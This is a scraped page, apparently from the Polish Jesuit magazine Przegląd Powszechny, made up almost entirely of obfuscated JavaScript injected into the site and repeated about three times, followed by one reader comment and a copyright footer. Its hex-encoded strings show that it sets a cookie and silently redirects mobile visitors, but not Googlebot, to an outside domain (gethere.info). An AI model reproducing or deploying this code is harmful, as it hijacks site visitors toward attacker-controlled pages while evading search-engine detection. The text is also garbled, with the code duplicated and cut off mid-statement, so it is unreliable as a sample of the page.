)|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  1. żabka napisał(a):

    słabo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Partnerzy:

Pisma jezuickie na świecie:

Prawa autorskie © 2009 Przgląd Powszechny. Wszelkie prawa zastrzeżone.